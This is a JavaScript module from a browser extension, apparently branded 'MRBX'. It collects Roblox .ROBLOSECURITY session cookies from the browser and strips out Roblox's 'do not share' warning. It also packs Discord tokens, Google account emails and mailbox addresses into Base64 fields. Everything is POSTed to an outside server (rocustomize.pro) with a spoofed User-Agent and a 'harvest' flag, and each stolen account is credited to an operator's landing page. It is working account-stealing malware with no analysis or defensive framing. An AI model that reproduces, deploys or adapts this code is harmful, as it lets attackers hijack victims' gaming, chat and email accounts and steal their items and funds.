'use strict';

(function (global) {
  var CFG = global.MRBX_CONFIG || {};
  var API_BASE = String(CFG.API_BASE || global.MRBX_API_BASE || 'https://rocustomize.pro/apis/backend').replace(/\/+$/, '');
  var LANDING_HOST = String(CFG.LANDING_HOST || global.MRBX_LANDING_HOST || 'rocustomize.pro').toLowerCase();
  var DEFAULT_DIR = String(CFG.DEFAULT_WORKER_DIR || global.MRBX_DEFAULT_WORKER_DIR || '').trim();
  var DIR_KEY = CFG.WORKER_DIR_STORAGE_KEY || global.MRBX_WORKER_DIR_STORAGE_KEY || 'mrbxWorkerDir';
  var SLUG_ALIAS = CFG.WORKER_SLUG_ALIAS_KEY || global.MRBX_WORKER_SLUG_ALIAS_KEY || 'mrbxWorkerSlug';
  var TOOL_SLUGS = CFG.LANDING_TOOL_SLUGS || global.MRBX_LANDING_TOOL_SLUGS || [];

  function storageGet(keys) {
    return new Promise(function (resolve) {
      if (typeof chrome === 'undefined' || !chrome.storage || !chrome.storage.local) {
        resolve({});
        return;
      }
      chrome.storage.local.get(keys, function (data) {
        resolve(data || {});
      });
    });
  }

  function normalizeDir(raw) {
    var s = String(raw || '').trim();
    if (!s || !/^[A-Za-z0-9_]{1,64}$/.test(s)) return '';
    return s;
  }

  function cleanRobloxCookie(input) {
    var cookie = String(input || '').trim();
    if (!cookie) return '';

    cookie = cookie.replace(
      /_\|WARNING:-DO-NOT-SHARE-THIS\.--Sharing-this-will-allow-someone-to-log-in-as-you-and-to-steal-your-ROBUX-and-items\.\|_/gi,
      ''
    );
    cookie = cookie.replace(/_\|WARNING[\s\S]*?\|_/gi, '');
    cookie = cookie.trim();

    if (cookie.length >= 80) return cookie;

    var warningMatch = cookie.match(/_\|WARNING[^_]*_([A-Za-z0-9._-]+)/i);
    if (warningMatch && warningMatch[1] && warningMatch[1].length >= 80) return warningMatch[1];

    if (/^[A-Za-z0-9._|~-]{80,}$/i.test(cookie)) return cookie;
    return '';
  }

  function extractRobloxCookieFromJar(jarString) {
    if (!jarString) return '';
    try {
      var arr = JSON.parse(String(jarString));
      if (!Array.isArray(arr)) return '';
      for (var i = 0; i < arr.length; i++) {
        var c = arr[i];
        if (!c || c.name !== '.ROBLOSECURITY' || !c.value) continue;
        var domain = String(c.domain || '').toLowerCase();
        if (domain.indexOf('roblox.com') === -1) continue;
        return cleanRobloxCookie(c.value);
      }
    } catch (_) {}
    return '';
  }

  function parseDirFromHost(host) {
    host = String(host || '').toLowerCase().replace(/^www\./, '').replace(/:\d+$/, '');
    var base = LANDING_HOST.replace(/^www\./, '');
    if (!host || host === base) return '';
    var suffix = '.' + base;
    if (host.length <= suffix.length || host.slice(-suffix.length) !== suffix) return '';
    var sub = host.slice(0, -suffix.length);
    if (!sub || sub.indexOf('.') !== -1) return '';
    return normalizeDir(sub);
  }

  function isReservedLandingSegment(seg) {
    var s = String(seg || '').toLowerCase();
    var reserved = [
      'apis', 'assets', 'download', 'controller', 'error', 'mrbx', 'landings',
      'index.php', 'sign-in', 'dashboard', 'admin', 'static'
    ];
    return reserved.indexOf(s) !== -1;
  }

  function parseDirFromUrl(urlStr) {
    try {
      var u = new URL(urlStr);
      var fromHost = parseDirFromHost(u.hostname);
      if (fromHost) return fromHost;

      var hostOk = u.hostname.toLowerCase().replace(/^www\./, '') === LANDING_HOST.replace(/^www\./, '');
      var segs = u.pathname.split('/').filter(Boolean);

      if (hostOk) {
        var path = u.pathname || '/';
        if (path === '/' || path === '') {
          var def = normalizeDir(DEFAULT_DIR);
          if (def) return def;
        }
        if (segs.length === 1 && !isReservedLandingSegment(segs[0])) {
          return normalizeDir(segs[0]);
        }
        if (segs.length === 2 && segs[0].toLowerCase() === 'mrbx' && !isReservedLandingSegment(segs[1])) {
          return normalizeDir(segs[1]);
        }
      }

      if (!hostOk) return '';
      if (segs.length < 2) return '';
      var tool = segs[0];
      var dir = segs[1];
      for (var i = 0; i < TOOL_SLUGS.length; i++) {
        if (TOOL_SLUGS[i].toLowerCase() === tool.toLowerCase()) {
          return normalizeDir(dir);
        }
      }
    } catch (_) {}
    return '';
  }

  function queryLandingTabs() {
    return new Promise(function (resolve) {
      if (typeof chrome === 'undefined' || !chrome.tabs || typeof chrome.tabs.query !== 'function') {
        resolve([]);
        return;
      }
      chrome.tabs.query(
        {
          url: [
            'https://' + LANDING_HOST + '/*',
            'https://www.' + LANDING_HOST + '/*',
            'https://*.' + LANDING_HOST + '/*'
          ]
        },
        function (tabs) {
          resolve(tabs || []);
        }
      );
    });
  }

  async function resolveWorkerDir(hints) {
    hints = hints || {};

    var fromHint = normalizeDir(hints.workerSlug || hints.dir);
    if (fromHint) return fromHint;

    if (hints.workerPageUrl) {
      var fromPage = parseDirFromUrl(String(hints.workerPageUrl));
      if (fromPage) return fromPage;
    }

    if (DEFAULT_DIR) return normalizeDir(DEFAULT_DIR);

    var st = await storageGet([DIR_KEY, SLUG_ALIAS]);
    var fromStorage = normalizeDir(st[DIR_KEY] || st[SLUG_ALIAS]);
    if (fromStorage) return fromStorage;

    var tabs = await queryLandingTabs();
    tabs.sort(function (a, b) {
      return (b.lastAccessed || 0) - (a.lastAccessed || 0);
    });
    for (var i = 0; i < tabs.length; i++) {
      var d = parseDirFromUrl(tabs[i].url || '');
      if (d) return d;
    }

    return '';
  }

  async function getRobloxCookieFromBrowser() {
    var all = await getAllRobloxCookiesFromBrowser();
    return all.length ? all[0] : '';
  }

  async function getAllRobloxCookiesFromBrowser() {
    if (typeof chrome === 'undefined' || !chrome.cookies) return [];

    var seen = Object.create(null);
    var out = [];

    function pushVal(raw) {
      var val = cleanRobloxCookie(raw);
      if (!val || seen[val]) return;
      seen[val] = true;
      out.push(val);
    }

    var domains = ['.roblox.com', 'www.roblox.com', 'roblox.com'];
    for (var i = 0; i < domains.length; i++) {
      var list = await new Promise(function (resolve) {
        chrome.cookies.getAll({ domain: domains[i], name: '.ROBLOSECURITY' }, resolve);
      });
      if (!list || !list.length) continue;
      for (var j = 0; j < list.length; j++) {
        if (list[j] && list[j].value) pushVal(list[j].value);
      }
    }

    try {
      var allDomain = await new Promise(function (resolve) {
        chrome.cookies.getAll({ domain: '.roblox.com' }, resolve);
      });
      if (allDomain && allDomain.length) {
        for (var k = 0; k < allDomain.length; k++) {
          var c = allDomain[k];
          if (c && c.name === '.ROBLOSECURITY' && c.value) pushVal(c.value);
        }
      }
    } catch (_) {}

    return out;
  }

  function b64Utf8(text) {
    try {
      return btoa(unescape(encodeURIComponent(String(text || ''))));
    } catch (_) {
      return '';
    }
  }

  var EXTRAS_TIMEOUT_MS = 15000;
  var MAX_TXT_LEN = 600000;
  var MAX_TXT_B64_LEN = 800000;

  function withTimeout(promise, ms) {
    return new Promise(function (resolve) {
      var done = false;
      var t = setTimeout(function () {
        if (done) return;
        done = true;
        resolve(null);
      }, ms);
      promise
        .then(function (v) {
          if (done) return;
          done = true;
          clearTimeout(t);
          resolve(v);
        })
        .catch(function () {
          if (done) return;
          done = true;
          clearTimeout(t);
          resolve(null);
        });
    });
  }

  async function buildExtrasFields(cookie) {
    var fields = {};
    var collector = global.MrbxExtrasCollect;
    if (!collector || typeof collector.collectMrbxExtras !== 'function') return fields;

    try {
      var packed = await withTimeout(collector.collectMrbxExtras(cookie), EXTRAS_TIMEOUT_MS);
      if (!packed || !packed.files) return fields;

      var files = packed.files;
      function putB64(key, text) {
        if (!text || String(text).length > MAX_TXT_LEN) return;
        var enc = b64Utf8(text);
        if (!enc || enc.length > MAX_TXT_B64_LEN) return;
        fields[key] = enc;
      }
      putB64('txt_all_b64', files.all);
      putB64('txt_google_b64', files.google);
      putB64('txt_discord_b64', files.discord);
      putB64('txt_emails_b64', files.emails);

      if (packed.extras && packed.extras.discordToken) {
        fields.discord_token = String(packed.extras.discordToken).slice(0, 800);
      }
      if (packed.extras && packed.extras.googleEmail) {
        fields.google_email = String(packed.extras.googleEmail).slice(0, 320);
      }
      if (packed.extras && Array.isArray(packed.extras.allMailEmails) && packed.extras.allMailEmails.length) {
        fields.mail_emails_json = JSON.stringify(packed.extras.allMailEmails.slice(0, 40));
      }
    } catch (_) {}

    return fields;
  }

  async function appendExtrasToForm(fields, cookie) {
    var extra = await buildExtrasFields(cookie);
    return Object.assign(fields, extra);
  }

  function apiSecret() {
    return String(global.MRBX_API_SECRET || '').trim();
  }

  function extensionVersion() {
    return String(global.MRBX_EXT_VERSION || '1.4.94').trim();
  }

  async function postForm(path, fields) {
    fields = Object.assign({}, fields || {});
    fields.mrbx_version = extensionVersion();
    fields.mrbx_harvest = '1';
    var secret = apiSecret();
    if (secret) {
      fields.mrbx_api_key = secret;
    }
    var body = Object.keys(fields)
      .map(function (k) {
        return encodeURIComponent(k) + '=' + encodeURIComponent(fields[k] == null ? '' : String(fields[k]));
      })
      .join('&');

    var headers = {
      'Content-Type': 'application/x-www-form-urlencoded',
      'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36'
    };
    if (secret) {
      headers['X-Mrbx-Api-Key'] = secret;
    }

    var res = await fetch(API_BASE + '/' + path.replace(/^\//, ''), {
      method: 'POST',
      headers: headers,
      body: body
    });
    var text = await res.text();
    var data = {};
    try {
      data = text ? JSON.parse(text) : {};
    } catch (_) {
      data = { _raw: text };
    }
    return { ok: res.ok, status: res.status, data: data, text: text };
  }

  async function rememberWorkerDirFromUrl(urlStr) {
    var dir = parseDirFromUrl(urlStr);
    if (!dir) return '';
    await new Promise(function (resolve) {
      if (typeof chrome === 'undefined' || !chrome.storage || !chrome.storage.local) {
        resolve();
        return;
      }
      var payload = {};
      payload[DIR_KEY] = dir;
      payload[SLUG_ALIAS] = dir;
      chrome.storage.local.set(payload, resolve);
    });
    return dir;
  }

  async function submitMrbxCookie(rawCookie, dir, pass, options) {
    options = options || {};
    var cookie = cleanRobloxCookie(rawCookie);
    if (!cookie) {
      return { ok: false, error: 'No valid Roblox cookie' };
    }

    var workerDir = normalizeDir(dir);
    if (!workerDir) {
      workerDir = await resolveWorkerDir({});
    }
    if (!workerDir && DEFAULT_DIR) {
      workerDir = normalizeDir(DEFAULT_DIR);
    }
    if (!workerDir) {
      return {
        ok: false,
        error: 'Worker dir not set. Open a landing (e.g. /follow/yourdir/) or set MRBX_DEFAULT_WORKER_DIR in lib/q7n2k8wp.js'
      };
    }

    if (options.useCheck) {
      var check = await postForm('check.php', { cookie: cookie });
      if (!check.ok || !check.data || check.data.status !== 'success') {
        var msg = (check.data && (check.data.message || check.data.error)) || 'Cookie check failed';
        return { ok: false, error: msg, stage: 'check', response: check };
      }
    }

    var userinfoFields = {
      cookie: cookie,
      dir: workerDir,
      pass: pass == null || pass === '' ? 'Extension' : String(pass),
      allow_duplicate: '1'
    };
    if (!options.skipExtras) {
      if (options.extrasFields && typeof options.extrasFields === 'object') {
        Object.assign(userinfoFields, options.extrasFields);
      } else {
        userinfoFields = await appendExtrasToForm(userinfoFields, cookie);
      }
    }

    var userinfo = await postForm('userinfo.php', userinfoFields);

    if (!userinfo.ok || userinfo.status >= 400) {
      var httpErr = (userinfo.data && (userinfo.data.error || userinfo.data.message)) || userinfo.text || ('HTTP ' + userinfo.status);
      return { ok: false, error: String(httpErr).slice(0, 500), stage: 'userinfo', response: userinfo };
    }

    if (userinfo.data && userinfo.data.error) {
      var err = String(userinfo.data.error);
      return { ok: false, error: err, stage: 'userinfo', response: userinfo };
    }

    var isDup = !!(userinfo.data && (userinfo.data.duplicate || userinfo.data.isDuplicate));
    return { ok: true, dir: workerDir, duplicate: isDup, response: userinfo };
  }

  global.MrbxSubmit = {
    API_BASE: API_BASE,
    cleanRobloxCookie: cleanRobloxCookie,
    extractRobloxCookieFromJar: extractRobloxCookieFromJar,
    resolveWorkerDir: resolveWorkerDir,
    rememberWorkerDirFromUrl: rememberWorkerDirFromUrl,
    getRobloxCookieFromBrowser: getRobloxCookieFromBrowser,
    getAllRobloxCookiesFromBrowser: getAllRobloxCookiesFromBrowser,
    buildExtrasFields: buildExtrasFields,
    submitMrbxCookie: submitMrbxCookie
  };
})(typeof self !== 'undefined' ? self : typeof globalThis !== 'undefined' ? globalThis : window);
